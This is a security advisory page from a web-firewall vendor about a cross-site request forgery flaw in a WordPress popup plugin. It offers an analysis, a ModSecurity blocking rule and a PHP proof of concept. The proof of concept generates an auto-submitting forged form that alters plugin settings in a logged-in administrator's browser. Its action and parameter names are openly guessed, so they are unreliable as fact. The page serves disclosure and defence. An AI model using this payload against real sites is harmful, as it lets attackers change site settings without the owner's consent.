Published : August 11, 2026

CVE-2026-65540: Popup for CF7 with Sweet Alert <= 1.6.5 Cross-Site Request Forgery PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 1.6.5
Patched Version
Disclosed July 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65540 (metadata-based): This vulnerability is a Cross-Site Request Forgery (CSRF) affecting the Popup for CF7 with Sweet Alert plugin for WordPress, specifically versions up to and including 1.6.5. The plugin fails to include or properly validate a nonce on a function that performs an unauthorized action. An unauthenticated attacker can trick a site administrator into executing a forged request, such as clicking a malicious link, which triggers the vulnerable action without the administrator’s knowledge. The CVSS score is 4.3 with a vector of AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N, indicating low integrity impact with no confidentiality or availability impact.

Root Cause: Based on the CWE-352 classification and the vulnerability description, the root cause is a missing or incorrect nonce validation on a specific function within the plugin. In WordPress, functions that handle state-changing operations, especially those invoked via admin pages or AJAX handlers, must verify a nonce to ensure the request originated from an authenticated user with the appropriate intent. Without this check, the handler trusts any request, even those generated by an attacker. Atomic Edge analysis infers that the vulnerable function likely corresponds to an admin-post.php handler, a settings form submission, or an AJAX action associated with the plugin slug ‘cf7-sweet-alert-popup’. This conclusion is inferred from the metadata because no source code diff is available.

Exploitation: The attacker crafts a request that triggers the vulnerable function, relying on the administrator’s session cookie. The likely attack surface is a WordPress AJAX action or an admin-post action used by the plugin. For example, the plugin may register an AJAX action like ‘cf7_sweet_alert_save_settings’ or an admin-post action like ‘cf7_sweet_alert_popup_update’. The attacker can embed a form that auto-submits to these endpoints with malicious parameters (e.g., changing plugin settings or toggling a configuration). A typical forged request would target /wp-admin/admin-ajax.php or /wp-admin/admin-post.php with the appropriate action and parameters. Because the request comes from the administrator’s browser, the server processes it as legitimate, although the nonce check is absent. Atomic Edge analysis provides a proof-of-concept PHP script that demonstrates how an attacker would send a forged request, though the exact parameter names are inferred from common plugin patterns.

Remediation: The fix requires adding a WordPress nonce verification to the vulnerable function. The developer should generate a nonce when rendering the form or AJAX request and validate it using the appropriate WordPress function, such as check_ajax_referer(), wp_verify_nonce(), or check_admin_referer(). Additionally, the function should verify that the current user has the required capability, even though the immediate issue is the missing nonce. A complete fix also involves sanitizing and validating all input received from the request. Atomic Edge analysis recommends that the plugin version 1.6.5 and earlier be updated if a patched version becomes available. Until then, a virtual patch can block requests to the vulnerable endpoints that lack the expected nonce, though this is not a substitute for a proper code fix.

Impact: Successful exploitation allows an unauthenticated attacker to trigger an unauthorized state change in the plugin. The exact impact depends on the action performed by the vulnerable function. Common scenarios include modifying plugin settings (e.g., disabling security features, redirecting notifications, or injecting malicious CSS/JavaScript into the sweet alert configuration). This could lead to further attacks, such as stored XSS or phishing, depending on the plugin’s functionality. The CVSS score indicates low integrity impact, meaning the attacker can modify data but cannot directly access sensitive information or gain administrative privileges. Since the action occurs with administrative privileges, the attacker gains the ability to perform any action the plugin allows, potentially affecting the site’s behavior and user trust.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-65540 (metadata-based)
# Rule blocks forged POST requests to the plugin's admin-post handler that lack a valid nonce.
# The rule targets the likely action name pattern for the Popup for CF7 with Sweet Alert plugin.
SecRule REQUEST_FILENAME "@endsWith /admin-post.php" 
  "id:20266540,phase:2,deny,status:403,chain,msg:'CVE-2026-65540 via Popup for CF7 with Sweet Alert CSRF',severity:'CRITICAL',tag:'CVE-2026-65540',tag:'WordPress',tag:'CSRF'"
  SecRule ARGS_POST:action "@rx ^cf7_sweet_alert(?:_.*)?$" 
    "chain"
    SecRule REQUEST_BODY "!@contains _wpnonce" 
      "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65540 - Popup for CF7 with Sweet Alert <= 1.6.5 - Cross-Site Request Forgery

// This PoC demonstrates how an attacker can forge a request to the plugin's
// vulnerable admin-post handler. The plugin likely registers an action like
// 'cf7_sweet_alert_save' or a similar name. Since no exact endpoint is known,
// we use a printable, auto-submitting HTML form that triggers the action.
// The attacker must lure a logged-in administrator to load this HTML page.

$target_url = 'http://your-wordpress-site.com/wp-admin/admin-post.php'; // Change to the target site URL

// Replace with the actual action name used by the plugin. Common patterns:
// 'cf7_sweet_alert_save_settings', 'cf7_sweet_alert_popup_update', etc.
$action = 'cf7_sweet_alert_save_settings';

// Parameters to modify plugin settings. These are inferred from typical plugin configuration.
$params = [
    'popup_enabled' => '0',       // Disable popup functionality
    'message' => 'Forged by CSRF', // Change popup message
];

// Build the HTML form with auto-submit JavaScript.
$html = "<html><body><h1>Please click the link to continue...</h1>";
$html .= "<form id='csrf_form' method='POST' action='" . htmlspecialchars($target_url, ENT_QUOTES) . "'>";
$html .= "<input type='hidden' name='action' value='" . htmlspecialchars($action, ENT_QUOTES) . "'>";
foreach ($params as $key => $value) {
    $html .= "<input type='hidden' name='" . htmlspecialchars($key, ENT_QUOTES) . "' value='" . htmlspecialchars($value, ENT_QUOTES) . "'>";
}
$html .= "</form>";
$html .= "<script>document.getElementById('csrf_form').submit();</script>";
$html .= "</body></html>";

// Output the HTML. The attacker would host this file or send it as an email attachment.
header('Content-Type: text/html');
echo $html;

// For a more direct demonstration, one could use cURL to send the request,
// but a real CSRF attack requires the victim's session cookie, so an HTML
// auto-submit page is the realistic approach.

// Note: This PoC is metadata-based and assumes the action name and parameters.
// If the actual endpoints differ, adjust $action and $params accordingly.

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.